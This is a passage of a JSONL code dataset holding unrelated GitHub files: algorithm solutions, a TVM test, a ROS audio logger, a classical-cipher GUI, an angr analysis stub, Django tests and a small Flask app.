N+1):\n # 현재 컴퓨터 번호와 연결되어 있고 바이러스가 걸리지 않은 경우 실행\n if connect[n][k] and visited[k] == 0:\n # 결과를 +1하고 재귀\n result += 1\n chain(k)\n\nN = int(input())\nM = int(input())\n# 바이러스 여부을 저장할 배열\nvisited = [0]*(N+1)\n# 연결 정보를 저장할 2차원 배열\nconnect = list([0]*(N+1) for _ in range(N+1))\nfor _ in range(M):\n a, b = map(int, input().split())\n connect[a][b] = 1\n connect[b][a] = 1\n# 결과를 저장할 변수\nresult = 0\nchain(1)\nprint(result)","repo_name":"pyojs/algorithm","sub_path":"Baekjoon/2606.py","file_name":"2606.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16532682637","text":"import sys\n\nsys.stdin = open('c:\\\\Users\\\\jin89\\\\Desktop\\\\algorithm\\\\SWEA_D2\\\\9476\\\\input.txt')\n\nT = int(input())\n\ndef find(datai, ni, mi, ki, hi):\n cnt = 0\n for i in range(ni-2):\n for j in range(mi-2):\n around = []\n for y in range(i, i+3):\n temp = list(datai[y][x] for x in range(j, j+3))\n around.append(temp)\n landing = around[1].pop(1)\n max_a = max(max(a) for a in around)\n min_a = min(min(b) for b in around)\n if max_a - min_a <= ki:\n if landing >= min_a and (landing - min_a) <= hi:\n cnt += 1\n return cnt\n\n\nfor tc in range(1, T+1):\n n, m, k, h = map(int, input().split())\n data = []\n for _ in range(n):\n data.append(list(map(int, input().split())))\n result = find(data, n, m, k, h)\n print(f'#{tc} {result}')","repo_name":"yuueuni/algorithm","sub_path":"swea/SWEA_D2/9476/9476.py","file_name":"9476.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32125781521","text":"\r\nimport numpy as np\r\n\r\nCANNY_LOWER_THRESHOLD = 100\r\nCANNY_UPPER_THRESHOLD = 200\r\nCANNY_LOWER_LINE_THRESHOLD = 40\r\nCANNY_UPPER_LINE_THRESHOLD = 300\r\nHOUGH_RHO = 1\r\nHOUGH_THETA = np.pi / 180\r\nHOUGH_THRESHOLD = 110\r\nPERFECT_POINTS = 81\r\nIMAGE_SIZE = (1028,768)","repo_name":"chess-playing-robotic-arm/RobotArmSoftware","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40163038742","text":"import numpy as np\n\nimport tvm.testing\nfrom tvm import te, tir\nfrom tvm.contrib.hexagon.session import Session\nfrom tvm.script import tir as T\n\n\ndef intrin_mem_copy(shape, dtype, dst_scope, src_scope):\n \"\"\"Define and return tensor intrinsic for mem copy\"\"\"\n src = te.placeholder(shape=shape, dtype=dtype, name=\"src\")\n dst = te.compute(shape, lambda i: src[i], name=\"dst\")\n size = shape[0] * np.dtype(dtype).itemsize\n\n src_buffer = tvm.tir.decl_buffer(\n shape,\n dtype,\n scope=src_scope,\n offset_factor=1,\n name=\"mem_copy_src_buffer\",\n )\n\n dst_buffer = tvm.tir.decl_buffer(\n shape,\n dtype,\n scope=dst_scope,\n offset_factor=1,\n name=\"mem_copy_dst_buffer\",\n )\n\n zero_indices = [0 for _ in shape]\n\n def intrin_func(ins, outs):\n ir_builder = tvm.tir.ir_builder.create()\n\n _src = ins[0]\n _dst = outs[0]\n\n dst_handle = ir_builder.buffer_ptr(dst_buffer)\n src_handle = ir_builder.buffer_ptr(src_buffer)\n\n ir_builder.emit(\n tvm.tir.call_intrin(\n \"handle\",\n \"tir.mem_copy\",\n tvm.tir.call_intrin(\"handle\", \"tir.address_of\", dst_handle[zero_indices]),\n tvm.tir.call_intrin(\"handle\", \"tir.address_of\", src_handle[zero_indices]),\n size,\n )\n )\n return ir_builder.get()\n\n return te.decl_tensor_intrin(dst.op, intrin_func, binds={src: src_buffer, dst: dst_buffer})\n\n\ndef verify(hexagon_session: Session, schedule, x_tensor, y_tensor, z_tensor, size):\n \"\"\"Verify correctness with reference from numpy\"\"\"\n print(tvm.lower(schedule, [x_tensor, y_tensor, z_tensor]))\n\n target_hexagon = tvm.target.hexagon(\"v68\", link_params=True)\n func = tvm.build(\n schedule,\n [x_tensor, y_tensor, z_tensor],\n tvm.target.Target(target_hexagon, host=target_hexagon),\n name=\"dmacpy\",\n )\n\n mod = hexagon_session.load_module(func)\n x_array = tvm.nd.array(\n np.random.randint(low=-128, high=127, size=size, dtype=x_tensor.dtype),\n device=hexagon_session.device,\n )\n y_array = tvm.nd.array(\n np.random.randint(low=-128, high=127, size=size, dtype=y_tensor.dtype),\n device=hexagon_session.device,\n )\n z_array = tvm.nd.array(\n np.random.randint(low=-128, high=127, size=size, dtype=z_tensor.dtype),\n device=hexagon_session.device,\n )\n mod[\"dmacpy\"](x_array, y_array, z_array)\n\n ref = x_array.numpy() + y_array.numpy()\n np.testing.assert_equal(z_array.numpy(), ref)\n\n\n@tvm.testing.requires_hexagon\ndef test_cache_read_write(hexagon_session: Session):\n \"\"\"Test cache_read and cache_write to global.vtcm for hexagon\"\"\"\n size = 128\n outer_shape = (size,)\n factor = 16\n inner_shape = (factor,)\n dtype = \"int8\"\n\n x_tensor = te.placeholder(shape=outer_shape, dtype=dtype, name=\"x\")\n y_tensor = te.placeholder(shape=outer_shape, dtype=dtype, name=\"y\")\n z_tensor = te.compute(outer_shape, lambda i: x_tensor[i] + y_tensor[i], name=\"z\")\n s = te.create_schedule(z_tensor.op)\n\n x_vtcm = s.cache_read(x_tensor, \"global.vtcm\", [z_tensor])\n y_vtcm = s.cache_read(y_tensor, \"global.vtcm\", [z_tensor])\n z_vtcm = s.cache_write(z_tensor, \"global.vtcm\")\n\n zouter, _ = s[z_vtcm].split(z_vtcm.op.axis[0], factor=factor)\n\n s[x_vtcm].compute_at(s[z_vtcm], zouter)\n s[y_vtcm].compute_at(s[z_vtcm], zouter)\n\n mem_copy_read = intrin_mem_copy(inner_shape, dtype, \"global.vtcm\", \"global\")\n\n (cache_read_x,) = s[x_vtcm].op.axis\n s[x_vtcm].tensorize(cache_read_x, mem_copy_read)\n\n (cache_read_y,) = s[y_vtcm].op.axis\n s[y_vtcm].tensorize(cache_read_y, mem_copy_read)\n\n mem_copy_write = intrin_mem_copy(outer_shape, dtype, \"global\", \"global.vtcm\")\n\n (cache_write_z,) = s[z_tensor].op.axis\n s[z_tensor].tensorize(cache_write_z, mem_copy_write)\n\n verify(hexagon_session, s, x_tensor, y_tensor, z_tensor, size)\n\n\ndef layout_transform_2d(n):\n return [n // 16, te.AXIS_SEPARATOR, n % 16]\n\n\n@tvm.testing.requires_hexagon\ndef test_cache_read_write_2d(hexagon_session: Session):\n \"\"\"Test 2D cache_read and cache_write to global.vtcm for hexagon\"\"\"\n size = 128\n outer_shape = (size,)\n factor = 16\n inner_shape = (factor,)\n dtype = \"int8\"\n\n x_tensor = te.placeholder(shape=outer_shape, dtype=dtype, name=\"x\")\n y_tensor = te.placeholder(shape=outer_shape, dtype=dtype, name=\"y\")\n z_tensor = te.compute(outer_shape, lambda i: x_tensor[i] + y_tensor[i], name=\"z\")\n s = te.create_schedule(z_tensor.op)\n\n x_vtcm = s.cache_read(x_tensor, \"global.vtcm\", [z_tensor])\n y_vtcm = s.cache_read(y_tensor, \"global.vtcm\", [z_tensor])\n z_vtcm = s.cache_write(z_tensor, \"global.vtcm\")\n\n layout_x_vtcm = s[x_vtcm].transform_layout(layout_transform_2d)\n layout_y_vtcm = s[y_vtcm].transform_layout(layout_transform_2d)\n _ = s[z_vtcm].transform_layout(layout_transform_2d)\n\n mem_copy_read = intrin_mem_copy(inner_shape, dtype, \"global.vtcm\", \"global\")\n s[x_vtcm].tensorize(layout_x_vtcm[1], mem_copy_read)\n s[y_vtcm].tensorize(layout_y_vtcm[1], mem_copy_read)\n\n # The loop schedule over `z` is not modified when calling `transform_layout`\n # on `z_vtcm` above therefore we must call `split` to modify the loop schedule\n # over `z` to match the layout of `z_vtcm` such that we can accurately write\n # `z_vtcm` back to `z` using memory copy intrinsic\n _, zinner = s[z_tensor].split(z_tensor.op.axis[0], factor=factor)\n mem_copy_write = intrin_mem_copy(inner_shape, dtype, \"global\", \"global.vtcm\")\n s[z_tensor].tensorize(zinner, mem_copy_write)\n\n verify(hexagon_session, s, x_tensor, y_tensor, z_tensor, size)\n\n\n@T.prim_func\ndef scale_by_two(buffer_a: T.Buffer[(8192,), \"int8\"], buffer_c: T.Buffer[(8192,), \"int8\"]):\n for i in T.serial(\n 0,\n 8192,\n ):\n with T.block(\"C\"):\n buffer_c[i] = buffer_a[i] * T.int8(2)\n\n\ndef test_vtcm_lowering():\n \"\"\"Test lowering with vtcm mem scope\"\"\"\n mod = tvm.IRModule.from_expr(scale_by_two.with_attr(\"global_symbol\", \"main\"))\n sch = tir.Schedule(mod, debug_mask=\"all\")\n block_c = sch.get_block(\"C\")\n (flat,) = sch.get_loops(block_c)\n outer, _, _, _ = sch.split(flat, factors=[8, 4, 2, 128])\n cache_block = sch.cache_read(block_c, 0, storage_scope=\"global.vtcm\")\n sch.compute_at(cache_block, outer)\n lowered = tvm.lower(sch.mod[\"main\"])\n\n def ir_module_has_allocate_nodes(irmod):\n nallocs = 0\n\n def _visit(stmt):\n nonlocal nallocs\n if isinstance(stmt, tvm.tir.Allocate):\n nallocs += 1\n\n tvm.tir.stmt_functor.post_order_visit(irmod[\"main\"].body, _visit)\n return nallocs\n\n assert not ir_module_has_allocate_nodes(lowered), (\n \"AllocateNode found in lowered IRModule, \"\n \"VTCM allocations should have been lowered to tir.nd_mem_alloc_with_scope\"\n )\n","repo_name":"Edgecortix-Inc/mera-tvm-public","sub_path":"tests/python/contrib/test_hexagon/test_cache_read_write.py","file_name":"test_cache_read_write.py","file_ext":"py","file_size_in_byte":6948,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"18330781036","text":"#!/usr/bin/python3\n\nif __name__ == \"__main__\":\n \"\"\"Gère les opérations arithmétiques de base.\"\"\"\n from calculator_1 import add, sub, mul, div \n import sys\n\n if len(sys.argv) - 1 != 3:\n print(\"Utilisation : ./100-my_calculator.py \")\n sys.exit(1)\n\n opérations = {\"+\": add, \"-\": sub, \"*\": mul, \"/\": div}\n if sys.argv[2] not in list(opérations.keys()):\n print(\"Opérateur inconnu. Opérateurs disponibles : +, -, * et /\")\n sys.exit(1)\n\n x = int(sys.argv[1])\n y = int(sys.argv[3])\n print(\"{} {} {} = {}\".format(x, sys.argv[2], y, opérations[sys.argv[2]](x, y)))\n","repo_name":"Cathyy1212/alx-higher_level_programming","sub_path":"0x02-python-import_modules/100-my_calculator.py","file_name":"100-my_calculator.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73767018794","text":"#!/usr/bin/env python\n\nimport rospy\nimport sqlite3\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import AudioData\nfrom math import floor\n\n# Define the name of the ear sensor topic\near_sensor_topic = \"/ear_sensor\"\n\n# Define the name of the SQL database\ndatabase_file = \"voice_data.db\"\n\n# Define the SQL query to insert voice data\ninsert_query = \"INSERT INTO voice_data (frequency, wavelength, pitch) VALUES (?, ?, ?)\"\n\n# Create a connection to the SQL database\nconn = sqlite3.connect(database_file)\nc = conn.cursor()\n\n# Create the voice_data table if it doesn't already exist\nc.execute('''CREATE TABLE IF NOT EXISTS voice_data (id INTEGER PRIMARY KEY, frequency REAL, wavelength REAL, pitch REAL)''')\n\n# Function to calculate the wavelength of a sound wave\ndef calculate_wavelength(sample_rate, frequency):\n return sample_rate / frequency\n\n# Function to calculate the pitch of a sound wave\ndef calculate_pitch(wavelength):\n return 1.0 / wavelength\n\n# Callback function for the ear sensor topic\ndef ear_sensor_callback(data):\n # Extract the sample rate and audio data from the message\n sample_rate = data.sample_rate\n audio_data = data.data\n\n # Calculate the frequency, wavelength, and pitch of the audio data\n frequency = floor(len(audio_data) / 2.0) / len(audio_data) * sample_rate\n wavelength = calculate_wavelength(sample_rate, frequency)\n pitch = calculate_pitch(wavelength)\n\n # Insert the voice data into the SQL database\n c.execute(insert_query, (frequency, wavelength, pitch))\n conn.commit()\n\ndef ear_sensor_subscriber():\n # Initialize the ROS node\n rospy.init_node('ear_sensor_subscriber', anonymous=True)\n\n # Create a subscriber for the ear sensor topic\n rospy.Subscriber(ear_sensor_topic, AudioData, ear_sensor_callback)\n\n rospy.spin()\n\nif __name__ == '__main__':\n try:\n ear_sensor_subscriber()\n except rospy.ROSInterruptException:\n pass\n\n# Close the SQL database connection when the program exits\nconn.close()\n\n# In this example, we define an ear sensor topic and an SQL database file. We then define an SQL query to insert voice data and create a connection to the database. We also define functions to calculate the wavelength and pitch of a sound wave.\n\n# In the ear_sensor_callback function, we extract the sample rate and audio data from the message, calculate the frequency, wavelength, and pitch of the audio data, and insert the voice data into the SQL database using the SQL query we defined earlier.\n\n# Finally, we initialize the ROS node, create a subscriber for the ear sensor topic, and run the subscriber indefinitely using rospy.spin(). We also close the SQL database connection when the program exits.\n\n# Note that this example assumes that the ear sensor topic publishes sensor_msgs/AudioData messages. You may need to modify this code to work with a different type of ear sensor message. Also, the wavelength calculation assumes that the sound wave is a pure sine wave, which may not be true in all cases.\n","repo_name":"gurpreetengineer/cautious-octo-python","sub_path":"python/Robotics_Operating_System/human_ear_sensor.py","file_name":"human_ear_sensor.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31301000622","text":"from tkinter import *\nfrom tkinter import scrolledtext\nfrom tkinter import ttk\nfrom tkinter import filedialog\nfrom tkinter import messagebox\nfrom vigenere_cipher import VigenereCipher\nfrom full_vigenere_cipher import FullVigenereCipher\nfrom autokey_vigenere_cipher import AutokeyVigenereCipher\nfrom extended_vigenere_cipher import ExtendedVigenereCipher\nfrom playfair_cipher import PlayfairCipher\nfrom affine_cipher import AffineCipher\nimport string\n\nclass Gui:\n\tdef __init__(self):\n\t\tself.window = Tk()\n\t\tself.window.title(\"Tugas Kecil 1 II4031 - 13517055 13517139\")\n\t\tself.window.geometry('640x620')\n\t\tself.window.resizable(False, False)\n\n\t\tself.label_plaintext = Label(self.window, text=\"Plaintext\")\n\t\tself.label_plaintext.grid(column=0, row=0, sticky=W, padx=10)\n\n\t\tself.plaintext = scrolledtext.ScrolledText(self.window, width=65, height=10)\n\t\tself.plaintext.grid(column=0, row=1, columnspan=3, padx=5)\n\n\t\tself.btn_openfile_plaintext = Button(self.window, text=\"Open File Plaintext\", command=self.choose_plaintext_file)\n\t\tself.btn_openfile_plaintext.grid(column=2, row=0, sticky=E, pady=5, padx=20)\n\n\t\tself.algorithms = [\n 'Vigenere Cipher', \n 'Full Vigenere Cipher', \n 'Auto-key Vigenere Cipher',\n\t\t\t'Extended Vigenere Cipher', \n 'Playfair Cipher', \n 'Affine Cipher']\n\n\t\tself.ciphers = {\n\t\t\t0: VigenereCipher(),\n\t\t\t1: FullVigenereCipher(),\n\t\t\t2: AutokeyVigenereCipher(),\n\t\t\t3: ExtendedVigenereCipher(),\n\t\t\t4: PlayfairCipher(),\n\t\t\t5: AffineCipher(),\n\t\t}\n\n\t\tself.label_choose_algorithm = Label(self.window, text='Algorithm :')\n\t\tself.label_choose_algorithm.grid(column=0, row=3, pady=10, padx=10, sticky=SW)\n\n\t\tself.combobox_algorithms = ttk.Combobox(self.window, values=self.algorithms, width=30, state=\"readonly\")\n\t\tself.combobox_algorithms.grid(column=1, row=3, pady=10, sticky=SW)\n\t\tself.combobox_algorithms.current(0)\n\t\tself.combobox_algorithms.bind('<>', self.handler)\n\n\t\tself.label_key = Label(self.window, text='Key :')\n\t\tself.label_key.grid(column=0, row=4, sticky=W, padx=10)\n\n\t\tself.key = Entry(self.window, width=40)\n\t\tself.key.grid(column=1, row=4, sticky=W)\n\n\t\tself.label_m = Label(self.window, text='m :')\n\t\tself.m = Entry(self.window, width=40)\n\n\t\tself.label_b = Label(self.window, text='b :')\n\t\tself.b = Entry(self.window, width=40)\n\t\t\n\t\tself.label_spaces = Label(self.window, text='Spaces :')\n\t\tself.label_spaces.grid(column=0, row=5, sticky=W, padx=10)\n\n\t\tself.is_spaces = BooleanVar(value=False)\n\n\t\tself.spaces_0 = Radiobutton(self.window, text=\"No spaces\", variable=self.is_spaces, value=False)\n\t\tself.spaces_0.grid(column=1, row=5, sticky=W)\n\n\t\tself.spaces_5 = Radiobutton(self.window, text=\"5 letter groups\", variable=self.is_spaces, value=True)\n\t\tself.spaces_5.grid(column=2, row=5, sticky=W)\n\n\t\tself.btn_encrypt = Button(self.window, text=\"Encrypt\", width=15, command=self.encrypt_clicked)\n\t\tself.btn_encrypt.grid(column=2, row=3, sticky='E', padx=20)\n\n\t\tself.btn_decrypt = Button(self.window, text=\"Decrypt\", width=15, command=self.decrypt_clicked)\n\t\tself.btn_decrypt.grid(column=2, row=4, sticky='E', padx=20)\n\n\t\tself.label_ciphertext = Label(self.window, text=\"Ciphertext\")\n\t\tself.label_ciphertext.grid(column=0, row=7, sticky=W, padx=10, pady=(20, 5))\n\n\t\tself.ciphertext = scrolledtext.ScrolledText(self.window, width=65, height=10)\n\t\tself.ciphertext.grid(column=0, row=8, columnspan=3, padx=5)\n\n\t\tself.btn_openfile_ciphertext = Button(self.window, text=\"Open File Ciphertext\", command=self.choose_ciphertext_file)\n\t\tself.btn_openfile_ciphertext.grid(column=2, row=7, sticky=E, pady=(20, 5), padx=20)\n\t\n\t\tself.btn_savefile_plaintext = Button(self.window, text=\"Save File Plaintext\", width=20, command=self.save_plaintext_file)\n\t\tself.btn_savefile_plaintext.grid(column=0, padx=20, sticky=S, columnspan=3)\n\n\t\tself.btn_savefile_ciphertext = Button(self.window, text=\"Save File Ciphertext\", width=20, command=self.save_ciphertext_file)\n\t\tself.btn_savefile_ciphertext.grid(column=0, padx=20, sticky=S, columnspan=3)\n\n\tdef handler(self, event):\n\t\tcurrent = self.combobox_algorithms.current()\n\n\t\tif current == 5: # Affine\n\t\t\tself.label_m.grid(column=0, row=4, sticky=W, padx=10)\n\t\t\tself.m.grid(column=1, row=4, sticky=W)\n\n\t\t\tself.label_b.grid(column=0, row=5, sticky=W, padx=10)\n\t\t\tself.b.grid(column=1, row=5, sticky=W)\n\n\t\t\tself.label_key.grid_remove()\n\t\t\tself.key.grid_remove()\n\n\t\t\tself.label_spaces.grid(column=0, row=6, sticky=W, padx=10)\n\t\t\tself.spaces_0.grid(column=1, row=6, sticky=W)\n\t\t\tself.spaces_5.grid(column=2, row=6, sticky=W)\n\t\t\n\t\telse:\n\t\t\tself.label_m.grid_remove()\n\t\t\tself.m.grid_remove()\n\n\t\t\tself.label_b.grid_remove()\n\t\t\tself.b.grid_remove()\n\n\t\t\tself.label_key.grid(column=0, row=4, sticky=W, padx=10)\n\t\t\tself.key.grid(column=1, row=4, sticky=W)\n\t\t\n\t\t\tself.label_spaces.grid(column=0, row=5, sticky=W, padx=10)\n\t\t\tself.spaces_0.grid(column=1, row=5, sticky=W)\n\t\t\tself.spaces_5.grid(column=2, row=5, sticky=W)\n\n\tdef encrypt_clicked(self):\n\t\tcurrent = self.combobox_algorithms.current()\n\t\tplaintext = self.plaintext.get(\"1.0\", \"end-1c\")\n\t\tspaces = self.is_spaces.get()\n\n\t\ttry:\n\t\t\tif current == 5:\n\t\t\t\tciphertext = self.ciphers[current].encrypt(plaintext, int(self.m.get()), int(self.b.get()), spaces)\n\t\t\telse:\n\t\t\t\tciphertext = self.ciphers[current].encrypt(plaintext, self.key.get(), spaces)\n\t\texcept Exception as e:\n\t\t\tciphertext = ''\n\t\t\tmessagebox.showerror(\"Error\", e)\n\n\t\tself.ciphertext.delete(\"1.0\", END)\n\t\tself.ciphertext.insert(\"1.0\", ciphertext)\n\n\tdef decrypt_clicked(self):\n\t\tcurrent = self.combobox_algorithms.current()\n\t\tciphertext = self.ciphertext.get(\"1.0\", \"end-1c\")\n\t\tspaces = self.is_spaces.get()\n\n\t\ttry:\n\t\t\tif current == 5:\n\t\t\t\tplaintext = self.ciphers[current].decrypt(ciphertext, int(self.m.get()), int(self.b.get()), spaces)\n\t\t\telse:\n\t\t\t\tplaintext = self.ciphers[current].decrypt(ciphertext, self.key.get(), spaces)\n\t\texcept Exception as e:\n\t\t\tplaintext = ''\n\t\t\tmessagebox.showerror(\"Error\", e)\n\n\t\tself.plaintext.delete(\"1.0\", END)\n\t\tself.plaintext.insert(\"1.0\", plaintext)\n\n\tdef choose_plaintext_file(self) :\n\t\tfilename = filedialog.askopenfilename()\n\t\tif filename != '' :\n\t\t\tfile = open(filename, \"rb\")\n\t\t\tcontent = file.read()\n\t\t\tself.plaintext.delete(\"1.0\", END)\n\t\t\tself.plaintext.insert(\"1.0\", content)\n\t\t\tfile.close()\n\t\n\tdef choose_ciphertext_file(self) :\n\t\tfilename = filedialog.askopenfilename()\n\t\tif filename != '' :\n\t\t\tfile = open(filename, \"rb\")\n\t\t\tcontent = file.read().decode()\n\t\t\tself.ciphertext.delete(\"1.0\", END)\n\t\t\tself.ciphertext.insert(\"1.0\", content)\n\t\t\tfile.close()\n\n\tdef save_plaintext_file(self) :\n\t\tfilename = filedialog.asksaveasfilename()\n\t\tif filename != '' :\n\t\t\tfile = open(filename, \"wb\")\n\t\t\tcontent = self.plaintext.get(\"1.0\", \"end-1c\")\n\t\t\tfile.write(bytes(content.encode()))\n\t\t\tfile.close()\n\t\n\tdef save_ciphertext_file(self) :\n\t\tfilename = filedialog.asksaveasfilename()\n\t\tif filename != '' :\n\t\t\tfile = open(filename, \"wb\")\n\t\t\tcontent = self.ciphertext.get(\"1.0\", \"end-1c\")\n\t\t\tfile.write(bytes(content.encode()))\n\t\t\tfile.close()\n\nif __name__ == \"__main__\":\n gui = Gui()\n gui.window.mainloop()\n","repo_name":"ahmadnaufalhakim/classical-cryptography","sub_path":"src/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":7066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3172835390","text":"import logging\nimport angr\n\nlw = logging.getLogger(\"CustomSimProcedureWindows\")\n\n\nclass CreateToolhelp32Snapshot(angr.SimProcedure):\n\n def run(\n self,\n dwFlags,\n th32ProcessID\n ):\n retval = self.state.solver.BVS(\"retval_{}\".format(self.display_name), self.arch.bits)\n self.state.solver.add(retval != 0xffffffff)\n self.state.solver.add(retval != -1)\n return retval\n","repo_name":"csvl/SEMA-ToolChain","sub_path":"src/SemaSCDG/procedures/windows/custom_package/CreateToolhelp32Snapshot.py","file_name":"CreateToolhelp32Snapshot.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"72"} +{"seq_id":"40658025650","text":"from django.test import TestCase, RequestFactory\nfrom carr.activity_taking_action.views import (\n LoadStateView, SaveStateView, StudentView)\nfrom carr.activity_taking_action.tests.factories import UserFactory\n\n\nclass LoadStateTest(TestCase):\n def setUp(self):\n self.factory = RequestFactory()\n\n def test_get(self):\n u = UserFactory()\n r = self.factory.get(\"/loadstate\")\n r.user = u\n v = LoadStateView.as_view()\n response = v(r)\n self.assertEqual(response.status_code, 200)\n\n\nclass SaveStateTest(TestCase):\n def setUp(self):\n self.factory = RequestFactory()\n\n def test_post(self):\n u = UserFactory()\n r = self.factory.post(\"/savestate\", dict(json='{}'))\n r.user = u\n v = SaveStateView.as_view()\n response = v(r)\n self.assertEqual(response.status_code, 200)\n\n\nclass StudentTest(TestCase):\n def setUp(self):\n self.factory = RequestFactory()\n\n def test_get(self):\n u = UserFactory()\n r = self.factory.get(\"/student\")\n r.user = u\n v = StudentView.as_view()\n response = v(r, u.id)\n self.assertEqual(response.status_code, 200)\n","repo_name":"ccnmtl/carr","sub_path":"carr/activity_taking_action/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74420859432","text":"import threading\nfrom Parser1 import Parser1\nfrom googletrans import Translator\n\ntranslator = Translator()\ndef translateword(sentence):\n\treturn translator.translate(sentence,dest='te').text\n\ndef TranslatorTelugu(w):\n\tif Parser1(w):\n\t\twords = w.split('<')\n\t\twords = words[1:]\n\t\tsentence = ''\n\t\tfor word in words:\n\t\t\tsentence+=word[:-1]+' '\n\t\tprint('Original sentence:', sentence)\n\t\tprint('Translation to Telugu:', translateword(sentence))\n\n\n\t","repo_name":"jccf12/cs142assignment3","sub_path":"TranslatorTelugu.py","file_name":"TranslatorTelugu.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3735335814","text":"import random\n\nuser_random_min = int(input(\"最小數: \"))\nuser_random_max = int(input(\"最大數: \"))\n\nnum = random.randint(user_random_min, user_random_max)\ncount = 0\nwhile True:\n num_guess = int(input(\"輸入一個數字: \"))\n count = count +1\n print (\"猜了\", count, \"次\")\n if num_guess > num: \n print(\"比答案大\")\n elif num_guess < num:\n print(\"比答案小\")\n else:\n print(\"猜對了\")\n break","repo_name":"s930049s/quiz_game","sub_path":"quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34060206158","text":"# - Ahmad Farisul Haq - #\n# - 200411100171 - #\n# --- fungsi cek umr --- #\ndef soal1(nama,gaji,rumah,nikah):\n kalimat = ''\n if gaji >= 3000000:\n if gaji > 3000000:\n kalimat += 'Gaji %s diatas UMR, wajib untuk mengikuti asuransi, '%nama\n else:\n kalimat += 'Gaji %s pas UMR, tidak wajib untuk mengikuti asuransi, '%nama\n else:\n kalimat += 'Gaji %s dibawah UMR, tidak wajib mengikuti asuransi, '%nama\n if nikah == 1:\n kalimat += 'dan wajib menabung, '\n else:\n kalimat += 'dan tidak wajib menabung, '\n if rumah == 1:\n kalimat += 'serta wajib untuk membayar pajak '\n else:\n kalimat += 'serta tidak wajib untuk membayar pajak '\n return kalimat\n# --- Main --- # \nnama = str(input('masukkan nama : '))\ngaji = int(input('masukkan gaji (dalam angka) : '))\nrumah = int(input(\"anda memiliki rumah? (jika iya ketik 1 / tidak ketik 2) : \"))\nnikah = int(input(\"sudah menikah ? (jika iya ketik 1 / tidak ketik 2) : \"))\na = soal1(nama,gaji,rumah,nikah)\nprint(a)","repo_name":"farisulhaq/matkul","sub_path":"alpro/01 praktikum/praktikum akhir/tugas_akhir_no1.py","file_name":"tugas_akhir_no1.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3348858322","text":"class Solution:\n def maximumGap(self, nums: List[int]) -> int:\n if len(nums) < 2:\n return 0\n a = sorted(nums)\n print(a)\n i, j, d = 0, 1, float(\"-inf\")\n while j < len(a):\n d = max((a[j]-a[i]), d)\n i += 1\n j += 1\n \n return d","repo_name":"sasankyadavalli/leetcode","sub_path":"maxumumGap_164.py","file_name":"maxumumGap_164.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1751186622","text":"from flask import Flask, render_template, url_for, request, g, redirect\nimport sqlite3, os\nfrom FDatabase import FDatabase\n\n\nDATABASE = 'my.db'\nDEBUG = True\nSECRET_KEY = 'NOTIME'\n\napp = Flask(__name__)\napp.config.from_object(__name__)\n\napp.config.update(dict(DATABASE=os.path.join(app.root_path,'my.db')))\n\ndef connect_db():\n conn = sqlite3.connect(app.config['DATABASE'])\n conn.row_factory = sqlite3.Row\n return conn\n\ndef create_db():\n db = connect_db()\n with app.open_resource('init-db.sql', mode='r') as f:\n db.cursor().executescript(f.read())\n db.commit()\n db.close()\n\ndef get_db():\n if not hasattr(g, 'link_db'):\n g.link_db = connect_db()\n return g.link_db\n\n@app.route('/', methods=['POST', 'GET'])\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route('/users')\ndef users():\n db = get_db()\n dbase = FDatabase(db)\n return render_template(\"users.html\", results = dbase.get_active())\n\n@app.route('/logins', methods=['POST', 'GET'])\ndef logins():\n db = get_db()\n dbase = FDatabase(db)\n if request.method == \"POST\":\n login = request.form['login']\n return render_template(\"login.html\", results = dbase.getlog(login))\n else:\n return render_template(\"login0.html\")\n\n@app.route('/id', methods=['POST', 'GET'])\ndef id():\n db = get_db()\n dbase = FDatabase(db)\n if request.method == \"POST\":\n id = request.form['id']\n return render_template(\"id.html\", results = dbase.getid(id))\n else:\n return render_template(\"id0.html\")\n\n@app.route('/by-login')\ndef by_login():\n db = get_db()\n dbase = FDatabase(db)\n login = request.args['login']\n return render_template(\"login.html\", results = dbase.getlog(login))\n\n@app.route('/by-id')\ndef by_id():\n db = get_db()\n dbase = FDatabase(db)\n id = request.args['id']\n return render_template(\"id.html\", results = dbase.getid(id))\n\n@app.teardown_appcontext\ndef close_db(error):\n if hasattr(g, 'link_db'):\n g.link_db.close()\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"BogChamp/simple_web","sub_path":"web_app.py","file_name":"web_app.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72085617513","text":"from zeroconf import ServiceInfo, Zeroconf\nimport socket\nimport http.server\nimport socketserver\nimport socket\nimport threading\nimport 